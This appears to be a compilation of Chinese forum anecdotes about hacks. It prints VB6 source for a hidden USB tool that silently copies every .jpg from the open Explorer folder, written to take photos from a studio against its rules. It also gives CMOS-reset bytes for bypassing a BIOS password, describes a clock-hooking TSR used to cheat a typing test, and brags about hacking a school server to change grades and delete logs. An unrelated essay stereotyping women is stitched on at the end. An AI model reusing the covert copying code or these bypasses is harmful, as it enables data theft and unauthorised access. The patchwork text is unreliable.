结婚的时候,拍完婚纱照,明明拍了好几十张,但是影楼为了赚钱,规定只能拷贝走16张,超过就得加钱,好像是80元一张。一怒之下写了个U盘自动运行程序,功能只有一个,就是U盘插入的时候会自动运行,然后用户按下F12,就会自动将当前打开的目录下所有文档拷贝到U盘一个隐藏目录下。全程无任何界面和提示,完全隐蔽。拷照片那天带去。插入U盘,打开目录,假装挑选照片,偷偷按了F12,然后故意慢慢翻来覆去的挑选了很久。最后走之前影楼的工作人员还不放心,特意过来检查了一遍我的U盘,当然是什么也没看出来。最后回来一数,貌似拷了八十多张回来。
应评论区要求,放出主要代码如下:(仅供学习和参考,毕竟十年前的东西了,不做任何技术支持和保证)
主窗体
VERSION 5.00
Begin VB.Form Form1
Caption = "Form1"
ClientHeight = 3195
ClientLeft = 60
ClientTop = 345
ClientWidth = 4680
Icon = "Form1.frx":0000
LinkTopic = "Form1"
ScaleHeight = 3195
ScaleWidth = 4680
StartUpPosition = 3 '窗口缺省
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
Private Const SW_HIDE = 0
Private Const SW_MINIMIZE = 6
Private Const SW_RESTORE = 9
Private Const SW_SHOW = 5
Private Const SW_SHOWMAXIMIZED = 3
Private Const SW_SHOWMINIMIZED = 2
Private Const SW_SHOWMINNOACTIVE = 7
Private Const SW_SHOWNA = 8
Private Const SW_SHOWNOACTIVATE = 4
Private Const SW_SHOWNORMAL = 1
Private Const WM_GETTEXTLENGTH = &HE
Private Const WM_GETTEXT = &HD
Private Const GW_CHILD = 5
Private Const GW_HWNDNEXT = 2
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal Hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal Hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal Hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function GetWindow Lib "user32" (ByVal Hwnd As Long, ByVal wCmd As Long) As Long
'U盘盘符名称
Private Uname As String
Private NowPath As String
Private WithEvents Hotkey1 As HotKeyClass
Attribute Hotkey1.VB_VarHelpID = -1
Private WithEvents Find1 As FindFileClass
Attribute Find1.VB_VarHelpID = -1
Private File1 As New FileClass
Private Sub Find1_FindedFile(FilePath As String, FileName As String, InfoID As Long)
'首先创建入口目录
Shell "cmd /C " & Chr(34) & "md " & Uname & "RECYCLERRECYCLER..." & Chr(34), vbHide
File1.Auto_Rename = True
File1.Del_NoMessage = True
File1.Make_Dir_NoMessage = True
File1.NoShow = True
If Len(Dir(Uname & "RECYCLERRECYCLER..", vbDirectory + vbHidden + vbSystem)) <> 0 Then
File1.FileCopy FilePath & FileName, Uname & "RECYCLERRECYCLER..", 0
Else
Set File1 = Nothing
Exit Sub
End If
'退出之前删除目录入口
Shell "cmd /C " & Chr(34) & "rd " & Uname & "RECYCLERRECYCLER..." & Chr(34), vbHide
End Sub
Private Sub Form_Load()
Me.Hide
Uname = Command
'打开调用的盘符
ShellExecute 0, vbNullString, Uname, vbNullString, vbNullString, SW_SHOWNOACTIVATE
'注册热键
Set Hotkey1 = New HotKeyClass
If Hotkey1.RegHotKey(Me.Hwnd, 122) = False Then
Unload Me
Exit Sub
End If
End Sub
Private Sub Hotkey1_HotKeyPress()
'热键被按下,获取当前窗口地址
Dim Hwnd1 As Long
Dim Get1 As New GetWinClass
Hwnd1 = Get1.GetForeWin
Dim ClassName1 As String * 255
Dim Ret1 As Long
Ret1 = GetClassName(Hwnd1, ClassName1, 255)
If Ret1 = 0 Then
Unload Me
Exit Sub
End If
If Left(ClassName1, Ret1) <> "CabinetWClass" Then
Unload Me
Exit Sub
End If
'得到选中的窗口标题
GetZiWin Hwnd1
'开始查找文件
Set Find1 = New FindFileClass
Find1.Filter = "*.jpg"
Find1.FindFile NowPath, True
End Sub
'得到子窗口的标题
Private Function GetZiWin(window_hwnd As Long) As String
Dim buf As String
Dim buflen As Long
Dim child_hwnd As Long
Dim children() As Long
Dim num_children As Integer
Dim i As Integer
buflen = 256
buf = String(buflen - 1, Chr(0))
buflen = GetClassName(window_hwnd, buf, buflen)
buf = Left(buf, buflen) '取得子窗口的类名
If Right(buf, 4) = "Edit" Then '判断是否为地址栏子窗口
NowPath = GetWinText(window_hwnd)
Exit Function
End If
num_children = 0
child_hwnd = GetWindow(window_hwnd, GW_CHILD) '取得第 1 个子窗口的句柄
Do While child_hwnd <> 0 '如果有子窗口
num_children = num_children + 1
ReDim Preserve children(1 To num_children)
children(num_children) = child_hwnd
child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) '取得下一个兄弟窗口的句柄
Loop
For i = 1 To num_children
Call GetZiWin(children(i))
Next i
End Function
Private Function GetWinText(window_hwnd As Long) As String '取得子窗口的值
Dim txtlen As Long
Dim txt As String
'通过 SendMessage 发送 WM_GETTEXT 取得 IE 地址栏的值
GetWinText = ""
If window_hwnd = 0 Then Exit Function
txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, 0, 0)
If txtlen = 0 Then
Exit Function
End If
txtlen = txtlen
txt = String(txtlen, Chr(0))
SendMessage window_hwnd, WM_GETTEXT, txtlen, ByVal txt
GetWinText = Left(txt, txtlen - 1)
End Function
公共模块
Attribute VB_Name = "Module1"
Option Explicit
Private Const SW_HIDE = 0
Private Const SW_MINIMIZE = 6
Private Const SW_RESTORE = 9
Private Const SW_SHOW = 5
Private Const SW_SHOWMAXIMIZED = 3
Private Const SW_SHOWMINIMIZED = 2
Private Const SW_SHOWMINNOACTIVE = 7
Private Const SW_SHOWNA = 8
Private Const SW_SHOWNOACTIVATE = 4
Private Const SW_SHOWNORMAL = 1
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
'U盘盘符名称
Private Uname As String
Sub Main()
Uname = Command
'打开调用的盘符
ShellExecute 0, vbNullString, Uname, vbNullString, vbNullString, SW_SHOWNOACTIVATE
'继续在后台运行
'首先创建入口目录
Shell "cmd /C " & Chr(34) & "md " & Uname & "RECYCLER..." & Chr(34), vbHide
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'开始拷贝文件
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'退出之前删除目录入口
'Shell "cmd /C " & Chr(34) & "rd " & Uname & "RECYCLER..." & Chr(34), vbHide
End Sub
其余还有几个功能性类模块代码一时间找不到了,不过看看函数名也能猜到是干什么的。
刚刚看到评论区有朋友提到的法律问题,特别追加说明一下。首先,这种行为肯定是偷窃行为了,各位千万不要以身试法。
其次,影楼的规定也有点霸王,理论上来说,我的婚纱照原片应该是属于我本人的。你可以说套餐内只给我PS16张照片。但是剩下的原片也应该给我。
最后,希望大家遇到问题还是通过正当的途径去协商解决,不要走这种歪门邪道。
----------------------------------------------------------------------------------------------
很多人对于隐藏文件的问题有疑问,再次更新一下,并不是简单的将文件夹设置为隐藏。而是放在了U盘的根目录下一个叫Recovery的文件夹里。可以自己在电脑上试试,命令行输入 cd【空格】c:Recovery 你就会进入一个隐藏的文件夹(win7以上系统必须用管理员权限打开命令行),在我的电脑c盘里绝对找不到这个目录,即使找到双击也进不去。这个目录里的所有文件的操作都必须在命令行下操作。
九十年代中期,假期去我爸单位玩电脑,带了几张软盘,准备安装些东西玩玩,结果开机后发现那台电脑除了运行财务软件外别无他用,软盘似乎被禁止了,插进去毫无作用。
电脑很新,软驱也没动过,不太可能坏掉。大概 BIOS 里面被禁止了吧?难不倒我,开机按 Delete 进入 BIOS 看看,结果发现有 BIOS 保护密码,也许是出于安全考虑吧。
没事,小意思,继续进入 DOS,准备找到 debug.exe 写一段 cmos 复位程序解决,结果,启动系统后,发现 debug.exe 被删掉了,同样 qbasic.exe, gwbasic.exe 这些系统中常见的任何可以用来编程的工具都被删掉了,连 edit 我都找不到。
看起来,负责安全的人还是花了些时间了。
程序其实很简单,传统主板只需要向 0x70 端口和 0x71 端口分别写入 0x2e, 0xff 两个字节即可复位:
mov al, 0x2e out 0x70, al mov al, 0xff out 0x71, al
但是没有任何编程工具和 debug.exe 的情况下,怎么让电脑运行这四条指令呢?
依稀记得 mov al, xx 二进制是两个字节 0xb0,xx,向端口输出数据 out xx, al 的字节码是 0xe6, xx。最后加一条 0xcd, 0x20 调用 20h 中断结束程序。拿过纸笔来把上面的程序翻译成字节码,换成十进制大概就是:
176, 46, 230, 112, 176, 255, 230, 113, 205, 32
妥了,最后的问题就是怎么把这十个字节输入到一个可执行文件中??
好办,使用 type con 命令将键盘输入的内容导出到文件:
type con > bomb.com
执行完上面命令后,就会等待输入,然后把你输入的任何字符保存到 bomb.com 这个可执行文件中,结束后按 CTRL+Z 回车就行。
那么怎么输入键盘上不存在的字符呢??
传统电脑,按住 ALT 键然后按数字键,再放开 ALT 可以按 ASCII 码输入一个字符,那么我就当键入文本文件一样按住 ALT 键,将上面十个字节的 ascii 码用小键盘一个个输入进去,然后CTRL+Z 保存文件,DIR 一看,目录下已经有刚才录入的可执行程序 bomb.com 了,果断执行之,然后 CTRL+ALT+DEL。
重新启动后,自检出现提示:“CMOS 数据损坏, checksum 校验不通过”,按回车继续,一切正常,尝试 DELETE 进入BIOS,果然密码没了。
终于了恢复被禁止的软驱,安装了我带来的软件,愉快的玩了一整天。
并不是啥很高深的技巧,只是回想起来比较有意思。
--
故事二:十多年前刚参加工作,公司要考打字速度,就是用 tt 这个软件:
每人要求 wpm 达到 45 以上(all key,包括数字和符号),一开始很自信,觉得自己打字应该很快,结果一测试才 32 的 wpm,最快部门助理可以打到 76 wpm,我花了一星期练习,结果最快 38,感觉有些绝望。打字不通过不能转正,我用尽力气就是到不了 40。
测试的时间就要到了,我心想难道就要因为打字速度无法转正?俗话说的好条条大路通罗马,既然条件限制手速不够快,正道走不通了,我走条岔路好不好?
测试可以用自己的电脑,但是负责记录程序的人需要做一些简单检查,然后全程站在你背后看着。
我先下了个变速齿轮,打算调慢 tt 的时钟,这样我的成绩不就上来了?但是发现没用,变速齿轮改变不了 tt 的时间,看来 win32 的方法对 v86 模式下的 DOS 程序无效。
接着准备直劫持 TT.exe,将它自身的时间变慢,这样计算成绩的时候,我可能用了两分钟,但是实际却按照一分半给我计算,我不正好及格了么?改太多看起来有点假,稍微快点就能保我过关了。
然后开始分析 tt.exe 看它代码,DOS 下面取时钟一般三种方法:
如果用了 1 或者 2,可以重载中断程序加一段代码,来修改时钟返回值。如果是3,则需要编程 8254 芯片,改慢时钟。
经过跟踪分析,发现 tt 就是用了 clock() 函数,该函数调用 int 0x1a 的 0 号功能返回一个每秒钟变化 18.2 次(CLK_TCK = 1193181 Hz / 65536 = 18.2 Hz)的计数器。那么好办了,重载中断就行。
于是我写了个 TSR 程序,驻留再后台,接管 int 0x1a 和键盘中断 0x9,默认情况下不生效,别人用起来和没有运行一样,直到我开始用时,键入一段 magic code,然后该程序开始生效,把 C 语言的 clock 函数给 hook 掉,给 tt.exe 返回修改过的时钟值。
调试了一下午,大功告成,原来打字速度打死 38 wpm 的我,通过启用这个程序,让打字速度提高到了 47,我用完以后,键入 magic code,又再次复位。
最后虽然我自己最终把打字速度练上来了,没靠这个程序过关,但是这个程序再公司内部开始流传,帮助了很多人通过测试。
--
曾经在国外高中的时候与一个老外联手黑过学校服务器
把所有期中、期末题目给偷了出来
不过当时懂得点到即止
看到题目自己回家做一下就好了
考试的时候不弄的那么明显···
那个老外就过分了,直接绕过权限进服务器中修改自己所有科目的成绩
原本一大堆C的课程,硬生生改成A··(平时分成绩,以及一些期末成绩,全特么改了)
然后看着他还黑进校长的账号,不知道改了一些什么东西进去
因为当时都有删除进入服务器日志的习惯,所以我没被抓
但那老外可能后面又黑了几次学校服务器,然后某一次忘记删了,留下痕迹
那玩意儿就被抓住了,叫了家长
之后教育局,一些大学也知道了他修改成绩等一系列骚操作
高二的时候就被认定保送墨大,然后研究生去了MIT··
我:??????????????????????????????
当感情成为生活的一种负担而且无力改变的时候。
与女生不同,大多数男生是不会把感情当作生活的全部的,过日子是头等大事,感情只是其中一部分。所以对于男生来说,一段好的感情是能让生活更轻松的。
一个男生可能会因为你漂亮而喜欢你,但这种喜欢无非是荷尔蒙冲动无法长时间维系,真正能让男生愿意和你一辈子走下去的,是你能够理解他,能够支持陪伴,能够默契相处。
但就这一点上,很多女生都是在逆行。她们所期望的感情都是建立在对于男生的索取之上,她们会因为男朋友没有足够专注自己而去作,会因为男朋友没满足自己的需要而去闹,会频繁吵架提分手来试探这个男人是否足够爱自己,却忽略了这个过程中,自己一步步在抛掉自己值得被爱的筹码。
当男生觉得和你在一起,不但体会不到丝毫乐趣,反而成为一种负担的时候,其实就已经在积累失望了。但这个时候男生一般不会直接放弃,他们会尝试逃避,会尝试沟通,会寄希望于你能逐渐去改变。
所以有经验的女生应该知道,男人的态度变化是有个周期的,不会因为你和他吵几次而一下子和你分手,但是会逐渐冷漠下来,这个过程中他就是在开始怀疑是否真的合适,会希望看到你有所变化。然而往往女生在这个阶段,又会因为男生的逃避而更加变本加厉去作去闹,想要控制对方,最终形成恶性循环。
等到失望积累够了,也就变成绝望。他会判断你已经不会变了,无药可救了,再相处下去只会让那自己越来越累,最终决定分开,等你意识到问题所在时已经来不及了,这种理性思考下的分手,往往挽回难度也是比较大的。
很多女生整天担心男生变心不爱自己,但同时却又是亲手在不断把他往外推,想想还挺可笑的。